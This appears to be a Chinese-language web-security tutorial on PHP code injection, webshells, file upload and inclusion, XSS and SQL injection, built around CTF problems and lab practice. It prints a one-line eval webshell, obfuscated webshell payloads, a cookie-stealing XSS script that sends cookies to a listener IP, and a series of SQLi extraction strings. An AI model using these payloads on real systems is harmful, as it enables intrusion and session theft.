* Example - http://example.com/?code=phpinfo();
*/
$code = $_GET['code'];
/**
* Unsafely evaluate the code
* Example - phpinfo();
*/
eval("\$code;");
在某些情况下,攻击者可以将代码注入升级为命令注入。
http://example.com/?code=phpinfo();
PHP WebShell
- 大马
代码量较大,通过编程语言的相关函数实现文件管理、数据库管理和系统命令执行等功能。可以通过 Github 搜索 获取 PHP 大马文件,但请注意辨别是否存在后门。

- 小马
代码量小,通常只具备文件上传功能,用于下载大马。
- 一句话木马
<?php @eval($_POST['shell']);?>
仅仅一行代码,配合如中国菜刀,中国蚁剑 AntSword、哥斯拉 Godzilla、冰蝎 Behinder、Weevely 等 webshell 客户端工具使用。客户端通常具备文件管理、数据库管理和系统命令执行等功能。
!> 中国菜刀是国内首个 webshell 管理工具,由于作者已停止更新并关闭官网,网络上存在许多带有后门的版本,大家在下载安装时需谨慎甄别。
推荐使用中国蚁剑 AntSword。

PHP 代码执行相关函数
| 名称 | 说明 |
|---|---|
| eval() | |
| assert() | |
| preg_replace('/.*/e',...) | |
| create_function() | |
| include() | |
| include_once() | |
| require() | |
| require_once() | |
| $_GET['func_name']($_GET['argument']); |
eval()
把字符串作为 PHP 代码执行,传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾。
<?php
eval('phpinfo();');
eval('?><?=`whoami`');
assert()
断言检测
?> 在 PHP 8.0.0 之前,如果 assertion 是 string,将解释为 PHP 代码,并通过 eval() 执行。这个字符串将作为第三个参数传递给回调函数。这种行为在 PHP 7.2.0 中弃用,并在 PHP 8.0.0 中移除。
<?php
// assert() 直接将传入的参数作为PHP代码执行,不需要以分号结尾
assert('phpinfo()')
create_function()
?> 已自 PHP 7.2.0 起被废弃,并自 PHP 8.0.0 起被移除
通过执行代码字符串创建动态函数,基本用法示例如下:
<?php
/*
* create_function(string $args, string $code)
* 第一个参数:字符串类型,函数参数,多个参数用逗号分隔
* 第二个参数:字符串类型,函数体
* 返回值:以字符串形式返回唯一的函数名,失败时返回false
*/
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo $newfunc(2, M_E) . PHP_EOL; // ln(2) + ln(2.718281828459) = 1.6931471805599
create_function()函数内部执行eval(),通过阅读源码发现,存在字符串拼接问题,可通过构造闭合标签进行代码执行。
<?php
create_function($_GET['args'], $_GET['code'])
上述代码的底层执行代码为
eval('function __lambda_func (' . $_GET['args'] .') {' . $_GET['code'] . '} \0')
若第一个参数可控,需闭合右圆括号和花括号,URL 为?args=){}phpinfo();//
create_function('){}phpinfo();//', '')
function __lambda_func (){}phpinfo();//){$_GET['code']}\0
若第二个参数可控,需闭合花括号,URL 为?code=}phpinfo();//
create_function('','}phpinfo();//')
function __lambda_func () {}phpinfo();//}\0
http://example.com/?code=}phpinfo();//
例题:Code-Breaking Puzzles的easy-function
<?php
/*
* 空合并运算符(??),是PHP7新增的语法糖,用于三元运算与isset()结合的情况
* 如果第一个操作数存在且不为null,则返回它;否则返回第二个操作数
*/
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? ''; // 等价于:$arg = isset($_GET['arg']) ? $_GET['arg'] : '';
/*
* 正则表达式模式修饰符 i:忽略大小写 s:点号.元字符匹配所有字符,包含换行符 D:元字符美元符号$仅仅匹配目标字符串的末尾
* 如果 $action 只有数字、字母、下划线组成,则显示源代码
* 如果 $action 除了数字、字母、下划线之外,还有其他字符,则执行可变函数
* 可变函数,第一个参数为空字符串,第二个参数可控,考虑create_function
* 使用命名空间 \create_function
*/
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg); //
}
$action使用命名空间\绕过正则检测,\create_function;
create_function()函数的第二个参数可控。
?action=\create_function&arg=}system($_GET['shell']);//
call_user_func()
把第一个参数作为回调函数调用。基本用法示例如下:
<?php
/*
* call_user_func(callable $callback, mixed ...$args): mixed
* 第一个参数:回调函数名称
* 第二个参数:回调函数的参数,0个或以上的参数,被传入回调函数。
*/
function barber($type)
{
echo "You wanted a $type haircut, no problem\n";
}
call_user_func('barber', "mushroom"); // 输出 You wanted a mushroom haircut, no problem
call_user_func('barber', "shave"); // 输出 You wanted a shave haircut, no problem
如果传入的参数可控,可造成代码执行。
call_user_func('system', 'whoami');
call_user_func_array()
调用回调函数,并把一个数组参数作为回调函数的参数。基本用法示例如下:
<?php
/*
* call_user_func_array(callable $callback, array $args): mixed
* 第一个参数:回调函数名称
* 第二个参数:回调函数参数,数组形式
* 返回值:返回回调函数的结果。如果出错的话就返回 false
*/
function foobar($arg, $arg2) {
// 魔术常量,__FUNCTION__ 当前函数的名称
echo __FUNCTION__, " got $arg and $arg2\n";
}
// Call the foobar() function with 2 arguments
call_user_func_array("foobar", array("one", "two")); // foobar got one and two
如果传入的参数可控,可造成代码执行。
<?php
call_user_func_array($_GET['arg1'],$_GET['arg2'])
// ?arg1=system&arg2[]=whoami
// call_user_func_array('system', ['whoami']);
preg_replace()
执行一个正则表达式的搜索和替换,如果设置模式修饰符e,则$replacement作为代码执行。
?> 模式修饰符e,已自 PHP 5.5 起被废弃,并自 PHP 7.0 起被移除
<?php
/*
* preg_replace(
string|array $pattern, // 要搜索的模式。可以是一个字符串或字符串数组。
string|array $replacement, // 用于替换的字符串或字符串数组
string|array $subject, // 要进行搜索和替换的字符串或字符串数组。
int $limit = -1, // 每个模式在每个 subject 上进行替换的最大次数。默认是 -1(无限)。
int &$count = null // 如果指定,将会被填充为完成的替换次数。
): string|array|null
*/
$replacement = 'phpinfo()';
preg_replace("/123/e", $replacement, "1234567");
array_map()
为数组的每个元素应用回调函数,基本用法示例:
<?php
/*
* array_map(?callable $callback, array $array, array ...$arrays): array
*
*/
function cube($n)
{
return ($n * $n * $n);
}
$a = [1, 2, 3, 4, 5];
$b = array_map('cube', $a);
print_r($b);
array_filter()
使用回调函数过滤数组的元素
array_walk()
ob_start()
打开输出控制缓冲
usort()
使用用户自定义的比较函数对数组中的值进行排序
PHP 5.6 新特性,支持使用 ... 运算符进行参数展开
// ?1[]=1&1[]=phpinfo()
usort($_GET[1],'assert');
// PHP >= 5.6
// ?1[]=1&1[]=eval($_POST['shell']);&2=assert
usort(...$_GET);
中国菜刀的流量分析
查看目录下文件
原始 HTTP POST 请求字段:
shell=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9Jy9zcnYvJzskRj1Ab3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5vIFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskTD1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRGKSl7JFA9JEQuJy8nLiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpbGVzaXplKCRQKS4iXHQiLiRFLiJcbiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygiWEBZIik7ZGllKCk7'));\");"));
字符串拼接后的中重要代码:
$xx="BaSE64_dEcOdE";
@eval($xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9Jy9zcnYvJzskRj1Ab3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5vIFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskTD1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRGKSl7JFA9JEQuJy8nLiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpbGVzaXplKCRQKS4iXHQiLiRFLiJcbiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygiWEBZIik7ZGllKCk7'));
base64 解码核心 PHP 代码:
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {
@set_magic_quotes_runtime(0);
};
echo ("X@Y");
$D = '/srv/';
$F = @opendir($D);
if ($F == NULL) {
echo ("ERROR:// Path Not Found Or No Permission!");
} else {
$M = NULL;
$L = NULL;
while ($N = @readdir($F)) {
$P = $D . '/' . $N;
$T = @date("Y-m-d H:i:s", @filemtime($P));
@$E = substr(base_convert(@fileperms($P), 10, 8), -4);
$R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . "\n";
if (@is_dir($P))
$M .= $N . "/" . $R;
else
$L .= $N . $R;
}
echo $M . $L;
@closedir($F);
};
echo ("X@Y");
die();
无字母数字
<?php
if (!preg_match('/[a-z0-9]/is', $_GET['code'])) {
eval($_GET['code']);
}
将非字母、数字的字符经过各种变换,构造出字母、数字,进而得到函数名,结合 PHP 动态函数的特点,达到执行代码的目的。
PHP 7 引入了抽象语法树(AST),与 PHP 5 在关于间接使用变量、属性和方法的变化。特别说明的是,PHP 7 支持'phpinfo'()、('phpinfo')()。
$_GET[_] 8 个字符
按位异或 XOR^
PHP位运算符中的按位异或,如$a ^ $b,当两个操作对象都是字符串时,将对会组成字符串的字符 ASCII 值执行操作,结果也是一个字符串。按位异或的规则是相同为0,不同为1。
<?php
echo 0^0; // 0
echo 0^1; // 1
echo 1^1; // 0
echo 1^0; // 1
echo urlencode('a'^'a'); // %00
echo urlencode('a'^'b'); // %03
我们可以通过
<?php
$myfile = fopen("xor_rce.txt", "w");
$contents = "";
for ($i = 0; $i < 256; $i++) {
for ($j = 0; $j < 256; $j++) {
if ($i < 16) {
$hex_i = '0'.dechex($i);
} else {
$hex_i = dechex($i);
}
if ($j < 16) {
$hex_j = '0'.dechex($j);
} else {
$hex_j = dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if (preg_match($preg, hex2bin($hex_i)) || preg_match($preg, hex2bin($hex_j))) {
echo "";
} else {
$a = '%'.$hex_i;
$b = '%'.$hex_j;
$c = (urldecode($a)^urldecode($b));
if (ord($c) >= 32&ord($c) <= 126) {
$contents = $contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile, $contents);
fclose($myfile);
简易 payload 如下:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
按位取反 Not~
PHP位运算符中的按位取反,如~ $a,将$a 中为 0 的位设为 1,反之亦然。如果操作对象是字符串,则将对组成字符串的字符 ASCII 值进行取反操作,结果将会是字符串。
通过调用代码执行函数,如assert,获得webshell,代码如下:
<?php
/*
* echo urlencode(~'assert'); // %9E%8C%8C%9A%8D%8B
* echo urlencode(~'_POST'); // %A0%AF%B0%AC%AB
*/
// assert($_POST[_]);
// 支持PHP5和PHP7
$_=~'%9E%8C%8C%9A%8D%8B';$__=~'%A0%AF%B0%AC%AB';$__=$$__;$_($__[_]);
// $_=~'%A0%AF%B0%AC%AB';$_=$$_;(~'%9E%8C%8C%9A%8D%8B')($_[_]);
自增
PHP 支持PERL字符串递增功能,该字符串必须是字母数字 ASCII 字符串。当到达字母 Z 且递增到下个字母时,将进位到左侧值。例如,$a = 'Z'; $a++;将 $a 变为 'AA'。
!> 自 PHP 8.3.0 起,此功能已软弃用。应该使用 str_increment() 函数。
// ASSERT($_POST[_]);
// 由于payload中存在加号+,使用时需要进行URL编码
$_=[].'';$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
过滤美元符号$
<?php
if (!preg_match('/[a-z0-9$]/i', $_GET['code'])) {
eval($_GET['code']);
}
过滤掉$,将无法构造变量。
在 PHP7 下,可以利用('phpinfo')()语法,生成执行单个命令的 payload。
<?php
$func = 'system';
$cmd = 'whoami';
// system('whoami');
// PHP 7!
echo '(~' . urlencode(~$func) . ')(~' . urlencode(~$cmd) . ');'; // (~%8C%86%8C%8B%9A%92)(~%88%97%90%9E%92%96);
?><?=`. /???/????????[@-[]`;?>
过滤下划线_
过滤分号;
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
无参数
<?php
highlight_file(__FILE__);
// (?R) 递归语法
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)
正则表达式[^\W]+\((?R)\)匹配无参数的函数,如a()、a(b())等。
disable_function绕过
PHP 配置文件php.ini中的disable_function指令,用于禁止某些函数。接受逗号分隔的函数名列表作为参数。仅能禁用内置函数。不能影响用户自定义函数。
disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,system
open_basedir=.:/proc/:/tmp/
寻找黑名单之外的未被禁用的函数
环境变量LD_PRELOAD
LD_PRELOAD是 Linux 系统中的一个环境变量,它允许用户在程序运行前定义优先加载的动态链接库(*.so)。
前提条件
-
Linux 系统
-
putenv()函数可用
-
mail error_log
-
存在可写目录,需上传.so 文件
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
shellshock(CVE-2014-6271)
Apache Mod CGI
PHP-FPM 利用 LD_PRELOAD 环境变量(同 1)
攻击 PHP-FPM 监听端口
Json Serializer UAF
PHP7 GC with Certain Destructors UAF
PHP7.4 FFI 扩展执行命令
利用 iconv 扩展执行命令
参考资料
- https://www.freebuf.com/articles/network/263540.html
- https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions
open_basedir绕过
参考资料
文件上传漏洞
文件上传漏洞有两个利用途径:一是直接上传可执行文件(如 PHP)以获取 webshell;二是上传包含 PHP 代码的文件,通过文件包含获取 webshell。
常见绕过方法
客户端校验绕过
文件扩展名检测绕过
- 大小写绕过
pHp- 检查时忽略大小写
- 双写绕过
phphpp- 替换为空,替换后新的字符串为 preg_replace(,'')
- 罕见后缀
- ^.ph(p[3457]?|t|tml|ps)$
- 解析特性
- 1.php.666
- /1.jpg/1.php
文件截断绕过
CVE-2006-7243
PHP before 5.3.4 accepts the \0 character in a pathname, which might allow context-dependent attackers to bypass intended access restrictions by placing a safe file extension after this character, as demonstrated by .php\0.jpg at the end of the argument to the file_exists function.
Content-Type检测绕过(MIME绕过)
Content-Type是一个 HTTP 头部字段,用于指示资源的原始媒体类型。MIME是媒体类型的一种标准。Content-Type字段使用MIME来表示媒体类型,是使用MIME的具体方式。
MIME类型的结构包括类型和子类型两部分,中间用斜杠/分割。点击进一步了解
Content-Type检测绕过方法为,直接修改为image/png , text/plain等。
- getimagesize
- 在脚本文件开头补充图片对应的头部值,或在图片后写入脚本代码
文件内容绕过
- 文件头检测
GIF89a
- PHP语言标记检测,在
PHP 7以前版本,通常使用脚本标记<script language="php"></script>绕过
制作图片马
图片马是指在正常图片中嵌入可执行代码,表面上看起来仍是正常图片。常用制作方法如下:
- 拼接图片和代码
<#
copy 是 Windows 命令行中的复制命令
/b 表示以二进制模式复制文件
1.jpg+1.php 表示将 1.jpg 和 1.php 文件的内容合并
2.jpg 是合并后生成的新文件名
#>
copy /b 1.jpg+1.php 2.jpg
- 修改图片的元数据
将指定的 PHP 代码作为注释添加到 img.png 图片。
exiftool -Comment="<?php ... ?>" >> img.png
条件竞争
先保存文件,再检测文件内容。利用时间差,访问文件。
?> TODO 例题
从文件上传到其他漏洞
Zip/Tar文件上传后自动解压缩
php-gd渲染绕过
练习题
- upload labs
- SUCTF 2019 Checkin
- GXYCTF2019BabyUpload
- HarekazeCTF2019 Avatar Uploader
经典赛题分析
PHP 文件包含漏洞
把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,无需再次编写函数。这一过程被称为包含。
include()
include_once()
require()
require_once()
在通过 PHP 函数引入文件时,如果传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
文件包含漏洞分为两个类型,分别本地文件包含(Local File Inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI)
文件包含的文件无须是
php后缀,只要文件内容符合PHP语法规范,任何扩展名都可以执行
<?php
$file = $_GET['file'];
include($file);
PHP 封装伪协议
PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数,了解更多
file
php://filter
php://filter/read=convert.base64-enccode/resource=
data://
?file=data://text/plain,<?php phpinfo();?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
//data:text/plain
input://
phar://
zip://
?file=zip://./foo.zip#bar.txt
?file=phar://my.phar/somefile.php
phar://读取phar文件时,会反序列化meta-data储存的信息
convert.iconv:// and dechunk://
文件包含漏洞利用
- 包含上传的含有 PHP 代码的任意类型文件,比如图片木马
- 包含 session 文件
默认存放路径
/var/phpinfo信息中,php.ini,PHP代码 session.save_path
- 包含服务器日志
- 读取服务器敏感文件
泄露文件内容
PHP FILTER CHAINS: FILE READ FROM ERROR-BASED ORACLE
https://github.com/synacktiv/php_filter_chains_oracle_exploit/
LFI2RCE
PHP 过滤器实现任意内容生成
session 文件包含
/tmp/sess_<id>
/tmp/sessions/sess_<id>
/var/lib/php/sess_<id>
/var/lib/php/sessions/sess_<id>
/var/lib/php<version>/sess_<id>
/var/lib/php<version>/sessions/sess_<id>
...
PHP_SESSION_UPLOAD_PROGRESS
PHP_SESSION_UPLOAD_PROGRESS 是 PHP 中用于处理文件上传进度的特性,主要用于监控用户上传文件时的进度信息。
session.upload_progress.enabled默认启用。
session.upload_progress.cleanup默认启用,上传完成后会立即清除进度信息。
<form action="http://localhost:13454/upload.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="上传文件" />
</form>
curl http://<IP>:<PORT> --cookie 'PHPSESSID=test' -F 'PHP_SESSION_UPLOAD_PROGRESS=<PHP_CODE>' -F 'file=@junk_file'
upload_progress_<PHP_CODE>|a:5:{s:10:”start_time”;i:1623754711;s:14:”content_length”;i:342;s:15:”bytes_processed”;i:342;s:4:”done”;b:1;s:5:”files”;a:1:{i:0;a:7:{s:10:”field_name”;s:4:”file”;s:4:”name”;s:9:”junk_file”;s:8:”tmp_name”;s:14:”/tmp/phpAelEHl”;s:5:”error”;i:0;s:4:”done”;b:1;s:10:”start_time”;i:1623754711;s:15:”bytes_processed”;i:17;}}}
exp.py:
- [第五空间 2021]EasyCleanup
- QAQ_1inclu4e
https://d4rkstat1c.medium.com/mr-burns-hackthebox-writeup-c06f90a22fa9
练习题
- ACTF2020 新生赛 Include
- [羊城杯 2020]Easyphp2
参考资料
跨站脚本(Cross-site Scripting,XSS)
跨站脚本(Cross-site scripting,XSS)攻击是一种 Web 应用安全中的客户端漏洞,攻击者可以利用这种漏洞在网站上注入恶意的 JavaScript 代码。当受害者访问网站时就会自动运行这些恶意代码,攻击者可以劫持用户会话、破坏网站或将用户重定向到恶意站点。在OWASP Top Ten 2017中,XSS 攻击位于第 7 位。
为避免和与CSS(Cascading Style Sheets,层叠样式表)混淆,将第一个字母改成了
X,即XSS。
原理
<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
您搜索的关键词是:<%= getParameter("keyword") %>
</div>
分类
XSS 攻击分为 3 个类别,包括反射型(非持久型)、存储型(持久型)和DOM型。
反射型
反射型 XSS 是跨站脚本攻击中最简单的一种类型,攻击载荷包含在 HTTP 请求中。
攻击者一般通过发送电子邮件,诱使受害者访问包含恶意代码的 URL。反射型 XSS 通常出现在搜索栏、用户登录等地方。
反射型 XSS 漏洞往往被认定为低危漏洞,因为随着用户的安全意识提高,在实战过程中利用难度高。
存储型
存储型 XSS,是指用户的恶意输入被存储下来,并在后期通过其他用户或管理员的页面进行展示。存储型 XSS 具有很高的隐蔽性,不需要受害者点击特定的 URL,通常被认为高危风险。
攻击场景多见于论坛、博客文章的评论、用户昵称等等。
DOM型
传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM 型 XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。
var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;
HTML 事件
限制绕过技巧
CSP绕过
CSP介绍
CSP绕过
XSS2RCE
DVWA攻击场景示例
<script>alert(/xss/)</script>
<script>alert(document.cookie)</script>
<script>document.location = "http://google.com"</script>
实验一、利用XSS漏洞盗取并利用Cookie
第一步,在 Kali Linux 中,使用nc命令监听端口
nc -lvp 1234
第二步,在 DVWA 中,输入 payload
<script>new Image ().src="http://192.168.164.128:1234/"+document.cookie;</script>
第三步,在 Kali Linux 中,查看终端信息
connect to [127.0.0.1] from localhost [127.0.0.1] 38900
GET /security=low;%20PHPSESSID=kavqn49seghn91lcbs6j411v75 HTTP/1.1
...
第四步,使用盗取的 Cookie
方法一,使用开发者工具
F12打开开发者工具,选择存储(storage)标签页,左侧选择Cookies,对相应字段进行编辑,最后访问页面即可。
方法二,使用浏览器插件
推荐使用Cookies Quick Manager
方法三,使用curl命令
curl --cookie "/security=low;%20PHPSESSID=kavqn49seghn91lcbs6j411v75" --location "localhost/dvwa/vulnerabilities/csrf/?password_new=chicken&password_conf=chicken&Change=Change#" | grep "Password"
实验二、使用BeEF框架
新版本 Kali Linux,已经移除 Beef,需要手工安装
$ beef-xss
Command 'beef-xss' not found, but can be installed with:
sudo apt install beef-xss
Do you want to install it? (N/y)y 输入y
....
$ sudo beef-xss
[-] You are using the Default credentials
[-] (Password must be different from "beef")
[-] Please type a new password for the beef user: 输入新密码
[i] GeoIP database is missing
[i] Run geoipupdate to download / update Maxmind GeoIP database
[*] Please wait for the BeEF service to start.
[*]
[*] You might need to refresh your browser once it opens.
[*]
[*] Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
....
参考
https://www.freebuf.com/sectool/178512.html
防御
XSS通关游戏
- Google XSS Game
- xss-labs
- Alert(1) to Win
- prompt(1) to win
- XSS Challenges
- brutelogic XSS Practice Labs
- brutelogic XSS Gym
- XSS by PwnFunction
- XSS Game
- cure53 XSS Challenges
参考资料
- OWASP,Cross Site Scripting (XSS)
- PortSwigger,Cross-site scripting
- MDN Web Docs,跨站脚本攻击
- 美团技术团队-前端安全系列(一):如何防止XSS攻击?
https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html
跨站请求伪造
服务端请求伪造
SQL 注入漏洞
SQL注入基础
数据库概述
数据库是结构化信息或数据的有组织的集合,通常由数据库管理系统(DBMS)来控制。
- SQL(Structured Query Language,结构化查询语言)是一种特定目的程式语言,用于管理关系数据库管理系统
- 关系型数据库 - Oracle、MSSQL、MySQL、PostgreSQL、IBM DB2、Access 等
- 非关系型数据库(NoSQL数据库) - MongoDB、Redis、Memcached 等
- NoSQL 的本意是“Not Only SQL”,是传统关系型数据库的一个有效补充
MySQL语法
关键词、函数、特性
- ORDER BY - 排序,超过字段数时报错。用于
确定字段数 - UNION SELECT - 联合查询,前后两次查询,字段数相同
- LIMIT N,M - 从第 N 条记录开始,返回 M 条记录
LIMIT M OFFSET NN默认为0 - GROUP BY - 根据一个或多个列对结果集进行分组,可结合一些聚合函数来使用
- WHERE - 条件语句
ANDOR - 隐式类型转换 - 数字、字符串、HEX()、ASCII()
- MySQL 5.0 版本以上,自带数据库
information_schema包含数据库结构信息 - 表名和字段名可以通过反引号```使用关键字
| user() | 当前数据库用户 |
| database() | 当前数据库名 |
| version() | 数据库版本 |
| CONCAT()、CONCAT_WS()、GROUP_CONCAT() | 字符串拼接 |
注释语法
- 行间注释
--注意后面有空格#
- 行内注释
/*注释内容*//*! 注释内容*/
文件操作
MySQL 支持读写文件,但与配置有关
# `空`无限制、指定目录、`NULL`禁止
SHOW VARIABLES LIKE "secure_file_priv";
- 文件的位置必须在服务器上,必须知道绝对路径,有
file权限 - 文件可读取,文件大小小于
max_allow_packet字节 - 如不满足条件,返回
NULL
SELECT * from `tbl` into outfile '/tmp/test.txt';
SELECT load_file('/etc/passwd');
SQL注入概述
SQL 注入是注入攻击的一种,攻击者可以执行恶意 SQL 语句。利用 SQL 注入漏洞,攻击者可以检索、添加、修改和删除数据库中的记录,甚至可以获取数据库服务器权限。
两个条件
- 用户能够控制输入
- 程序可以执行拼接了用户输入的 SQL 语句
危害
- 绕过登录验证 - 使用万能密码登录网站后台等
- 获取敏感数据 - 获取网站管理员账号、密码等
- 文件系统操作 - 列目录,读取、写入文件等
- 执行命令 - 远程执行系统命令、数据库命令
SQL 注入示意图
SQL注入类型

联合查询注入(UNION query-based)
以 SQLi-LABS Less-1 为例
SELECT * FROM users WHERE id='$id' LIMIT 0,1;
- 判断是否存在注入点 -
尝试添加单引号
id=1',提示语法错误,说明可能存在注入漏洞。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
产生语法错误的原因,SQL 语句多了单引号,无法正确闭合。
SELECT * FROM users WHERE id='1'' LIMIT 0,1;
- 确定字段数
使用
ORDER BY,二分法,得字段数为 3。
id=1' order by 4%23 //报错
id=1' order by 2%23,//正常
id=1' order by 3%23 //正常
- 判断显示位
?id=-1' UNION SELECT 1,2,3%23
- 获取数据(数据库名、表名、字段名)
数据库
?id=-1' union select 1,group_concat(schema_name),3+from+information_schema.schemata%23
表名
?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema= database()%23
字段名
?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=database() AND table_name='users'%23
报错注入(error-based)
存在注入,且有错误信息显示,通过人为制造错误条件,使得结果出现在错误信息中
~按位取反
-
数据溢出
- EXP(number) 返回 e 的 x 次方
!(select*from(select user())X)-~0
-
XPATH 语法错误
- ExtractValue(xml_frag, xpath_expr) 查询
- UpdateXML(xml_target, xpath_expr, new_xml) 修改
-
主键重复,count()和 group by 在遇到 rand()产生的重复值
select count(*) from information_schema.schemata group by concat((select user()),floor(rand(0)*2));
表中需要至少 3 条数据才能报错
盲注
存在注入,但没有回显和错误信息。盲注根据判断指标,分为基于布尔的盲注和基于时间的盲注。
-
SUBSTR(_string_, _start_, _lenth_)- 字符串截取 -
ASCII(_character_)- 返回字符的 ASCII 值 -
LENGTH(_string_)- 返回字符串长度 -
if(条件,成立,不成立) -
SELECT IF(500<1000, "YES", "NO");
基于布尔的盲注(boolean-based blind)
根据页面返回内容不同进行判断
?id=1' and 1=1# 页面返回正常
?id=1' and 1=2# 页面返回不正常
- 异或
^(XOR) - 1^1=0 0^0=0
0^1=1 1^1^1=0 1^1^0=0 同为 0,异为 1
?id=1^(1=1)^1
?id=1^(ascii(mid(database(),1,1))=98)^1
基于时间的盲注(time-based blind)
根据页面响应时间判断
if(ascii(substr(database(),1,1))>100,sleep(1),2=1)
